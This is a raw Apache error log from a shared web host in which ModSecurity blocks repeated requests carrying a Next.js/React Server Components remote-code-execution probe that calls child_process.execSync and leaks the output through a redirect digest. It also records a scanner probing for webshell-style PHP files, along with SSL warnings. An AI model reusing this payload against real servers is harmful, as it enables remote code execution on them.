res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.todocafe.pe"] [uri "/"] [unique_id "aUOP6xQC3tFnrG06s5qmeAAAABE"] [Thu Dec 18 00:51:08.483763 2025] [:error] [pid 26418:tid 26481] [client 35.91.233.7:46428] [client 35.91.233.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.promalca.com"] [uri "/"] [unique_id "aUOWTBQC3tFnrG06s5quVQAAAAI"] [Thu Dec 18 01:33:25.857249 2025] [:error] [pid 26419:tid 26432] [client 34.219.73.49:48142] [client 34.219.73.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUOgNdOX4f5e9cApHV4t6gAAAEU"] [Thu Dec 18 01:36:05.794257 2025] [:error] [pid 26419:tid 26442] [client 44.242.210.26:52024] [client 44.242.210.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.tramildom.com"] [uri "/"] [unique_id "aUOg1dOX4f5e9cApHV4u_gAAAE8"] [Thu Dec 18 01:38:58.030666 2025] [:error] [pid 26922:tid 26942] [client 35.163.150.186:56246] [client 35.163.150.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.nrhidroplastic.com"] [uri "/"] [unique_id "aUOhgh-ZhhQE392Hz3OWqgAAANI"] [Thu Dec 18 01:51:50.681783 2025] [:error] [pid 26922:tid 26928] [client 52.27.203.46:45584] [client 52.27.203.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.madivaingenieros.com"] [uri "/"] [unique_id "aUOkhh-ZhhQE392Hz3OkUAAAAMQ"] [Thu Dec 18 02:07:54.764075 2025] [:error] [pid 26420:tid 26453] [client 44.243.32.133:39564] [client 44.243.32.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUOoSjjqDqoGYB5uu98ntQAAAIA"] [Thu Dec 18 02:11:11.692055 2025] [:error] [pid 26922:tid 26926] [client 35.94.141.25:43472] [client 35.94.141.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.nrhidroplastic.com"] [uri "/"] [unique_id "aUOpDx-ZhhQE392Hz3O6hAAAAMI"] [Thu Dec 18 02:12:00.970895 2025] [:error] [pid 26420:tid 26471] [client 20.214.243.12:44646] File does not exist: /usr/local/apache/htdocs/.well-known/index.php, referer: https://www.google.fr/ [Thu Dec 18 02:12:01.159599 2025] [:error] [pid 26922:tid 26943] [client 20.214.243.12:44652] File does not exist: /usr/local/apache/htdocs/404.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:01.348564 2025] [:error] [pid 26922:tid 26932] [client 20.214.243.12:44658] File does not exist: /usr/local/apache/htdocs/aa.php, referer: https://www.google.fr/ [Thu Dec 18 02:12:01.538414 2025] [:error] [pid 26418:tid 26503] [client 20.214.243.12:44666] File does not exist: /usr/local/apache/htdocs/abcd.php, referer: https://www.bing.com/ [Thu Dec 18 02:12:01.731248 2025] [:error] [pid 26922:tid 26928] [client 20.214.243.12:44676] File does not exist: /usr/local/apache/htdocs/admin.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:01.931019 2025] [:error] [pid 26418:tid 26487] [client 20.214.243.12:44682] File does not exist: /usr/local/apache/htdocs/adminfuns.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:02.120536 2025] [:error] [pid 26922:tid 26941] [client 20.214.243.12:44688] File does not exist: /usr/local/apache/htdocs/ahax.php, referer: https://www.bing.com/ [Thu Dec 18 02:12:02.314820 2025] [:error] [pid 26922:tid 26945] [client 20.214.243.12:44696] File does not exist: /usr/local/apache/htdocs/akcc.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:02.503459 2025] [:error] [pid 26922:tid 26946] [client 20.214.243.12:44702] File does not exist: /usr/local/apache/htdocs/alfa.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:03.069642 2025] [:error] [pid 26420:tid 26457] [client 20.214.243.12:44720] File does not exist: /usr/local/apache/htdocs/av.php, referer: https://www.google.com/ [Thu Dec 18 02:12:03.258466 2025] [:error] [pid 26420:tid 26458] [client 20.214.243.12:44726] File does not exist: /usr/local/apache/htdocs/bless.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:03.446951 2025] [:error] [pid 26420:tid 26467] [client 20.214.243.12:44732] File does not exist: /usr/local/apache/htdocs/bolt.php, referer: https://www.google.fr/ [Thu Dec 18 02:12:03.639404 2025] [:error] [pid 26419:tid 26451] [client 20.214.243.12:44740] File does not exist: /usr/local/apache/htdocs/buy.php, referer: https://www.bing.com/ [Thu Dec 18 02:12:04.229087 2025] [:error] [pid 26418:tid 26493] [client 20.214.243.12:44762] File does not exist: /usr/local/apache/htdocs/chosen.php, referer: https://www.google.de/ [Thu Dec 18 02:12:04.417513 2025] [:error] [pid 26418:tid 26497] [client 20.214.243.12:44768] File does not exist: /usr/local/apache/htdocs/classwithtostring.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:04.609944 2025] [:error] [pid 26922:tid 26925] [client 20.214.243.12:44774] File does not exist: /usr/local/apache/htdocs/edit.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:04.799122 2025] [:error] [pid 26419:tid 26434] [client 20.214.243.12:44780] File does not exist: /usr/local/apache/htdocs/elp.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:04.988154 2025] [:error] [pid 26420:tid 26459] [client 20.214.243.12:44786] File does not exist: /usr/local/apache/htdocs/file.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:05.365912 2025] [:error] [pid 26420:tid 26455] [client 20.214.243.12:44798] File does not exist: /usr/local/apache/htdocs/gg.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:05.562612 2025] [:error] [pid 26922:tid 26935] [client 20.214.243.12:44806] File does not exist: /usr/local/apache/htdocs/goods.php, referer: https://www.google.fr/ [Thu Dec 18 02:12:06.145439 2025] [:error] [pid 26922:tid 26929] [client 20.214.243.12:44828] File does not exist: /usr/local/apache/htdocs/info.php, referer: https://www.google.de/ [Thu Dec 18 02:12:06.334293 2025] [:error] [pid 26419:tid 26440] [client 20.214.243.12:44834] File does not exist: /usr/local/apache/htdocs/ioxi-o.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:06.522807 2025] [:error] [pid 26922:tid 26932] [client 20.214.243.12:44840] File does not exist: /usr/local/apache/htdocs/k.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:06.712069 2025] [:error] [pid 26922:tid 26940] [client 20.214.243.12:44846] File does not exist: /usr/local/apache/htdocs/mah.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:07.089677 2025] [:error] [pid 26420:tid 26462] [client 20.214.243.12:44858] File does not exist: /usr/local/apache/htdocs/manager.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:07.667125 2025] [:error] [pid 26922:tid 26926] [client 20.214.243.12:44882] File does not exist: /usr/local/apache/htdocs/new.php, referer: https://www.google.de/ [Thu Dec 18 02:12:08.239745 2025] [:error] [pid 26922:tid 26948] [client 20.214.243.12:44900] File does not exist: /usr/local/apache/htdocs/radio.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:08.428339 2025] [:error] [pid 26419:tid 26428] [client 20.214.243.12:44906] File does not exist: /usr/local/apache/htdocs/themes.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:11.463946 2025] [:error] [pid 26420:tid 26467] [client 20.214.243.12:45008] File does not exist: /usr/local/apache/htdocs/wp-blog.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:14.903630 2025] [:error] [pid 26418:tid 26487] [client 20.214.243.12:45128] File does not exist: /usr/local/apache/htdocs/wp-good.php, referer: https://www.bing.com/ [Thu Dec 18 02:12:21.803096 2025] [:error] [pid 26419:tid 26433] [client 20.214.243.12:45360] File does not exist: /usr/local/apache/htdocs/wp-login.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:21.992893 2025] [:error] [pid 26420:tid 26475] [client 20.214.243.12:45366] File does not exist: /usr/local/apache/htdocs/wp-signin.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:12:22.182068 2025] [:error] [pid 26922:tid 26924] [client 20.214.243.12:45372] File does not exist: /usr/local/apache/htdocs/wp-user.php, referer: https://www.yahoo.com/ [Thu Dec 18 02:12:22.371950 2025] [:error] [pid 26922:tid 26934] [client 20.214.243.12:45378] File does not exist: /usr/local/apache/htdocs/wp.php, referer: https://www.google.co.uk/ [Thu Dec 18 02:12:22.560532 2025] [:error] [pid 26420:tid 26476] [client 20.214.243.12:45384] File does not exist: /usr/local/apache/htdocs/xmlrpc.php, referer: https://www.google.de/ [Thu Dec 18 02:12:22.754635 2025] [:error] [pid 26922:tid 26925] [client 20.214.243.12:45394] File does not exist: /usr/local/apache/htdocs/xmrlpc.php, referer: https://duckduckgo.com/ [Thu Dec 18 02:39:45.118347 2025] [:error] [pid 26418:tid 26487] [client 34.11.32.16:54158] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Thu Dec 18 02:39:45.255337 2025] [:error] [pid 26418:tid 26498] [client 34.11.32.16:54172] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Thu Dec 18 02:53:38.827284 2025] [:error] [pid 26922:tid 26947] [client 35.94.19.144:44378] [client 35.94.19.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.investigacionperu.com"] [uri "/"] [unique_id "aUOzAh-ZhhQE392Hz3ProQAAANc"] [Thu Dec 18 03:35:54.793086 2025] [:error] [pid 26922:tid 26934] [client 16.147.40.67:44136] [client 16.147.40.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.friomasterintl.com"] [uri "/"] [unique_id "aUO86h-ZhhQE392Hz3MZewAAAMo"] [Thu Dec 18 03:50:40.600437 2025] [mpm_event:notice] [pid 26396:tid 26396] AH00492: caught SIGWINCH, shutting down gracefully [Thu Dec 18 03:50:40.771089 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.771813 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.772386 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.796775 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.797485 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.798034 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.802910 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.803517 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.804132 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.805786 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.806387 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.806912 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.815085 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.815740 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.816338 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.817464 2025] [ssl:warn] [pid 29076:tid 29076] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:40.817963 2025] [:notice] [pid 29076:tid 29076] ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/) configured. [Thu Dec 18 03:50:40.817975 2025] [:notice] [pid 29076:tid 29076] ModSecurity: APR compiled version="1.6.2"; loaded version="1.6.2" [Thu Dec 18 03:50:40.817981 2025] [:notice] [pid 29076:tid 29076] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Thu Dec 18 03:50:40.817984 2025] [:notice] [pid 29076:tid 29076] ModSecurity: LIBXML compiled version="2.9.1" [Thu Dec 18 03:50:40.818051 2025] [:notice] [pid 29076:tid 29076] ModSecurity: StatusEngine call: "2.9.1,Apache/2.4.62 (Unix) Open,1.6.2/1.6.2,8.32/8.32 2012-11-30,(null),2.9.1,64584df529829600207ff78fc29040b2d979f2a3" [Thu Dec 18 03:50:40.919338 2025] [:notice] [pid 29076:tid 29076] ModSecurity: StatusEngine call successfully sent. For more information visit: http://status.modsecurity.org/ [Thu Dec 18 03:50:41.003347 2025] [ssl:warn] [pid 29077:tid 29077] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Thu Dec 18 03:50:41.012095 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.013090 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.013969 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.035105 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.035715 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.036258 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.040126 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.040742 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.041246 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.042475 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.043089 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.043695 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.050178 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.050796 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.051451 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.052799 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.056960 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Thu Dec 18 03:50:41.057012 2025] [core:notice] [pid 29077:tid 29077] AH00094: Command line: '/usr/local/apache/bin/httpd' [Thu Dec 18 03:50:41.524174 2025] [mpm_event:notice] [pid 29077:tid 29077] AH00493: SIGUSR1 received. Doing graceful restart [Thu Dec 18 03:50:41.630127 2025] [ssl:warn] [pid 29077:tid 29077] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Thu Dec 18 03:50:41.636038 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.636744 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.637279 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.667227 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.668328 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.669102 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.673510 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Thu Dec 18 03:50:41.674448 2025] [ssl:warn] [pid 29077:tid 29077] AH01909: 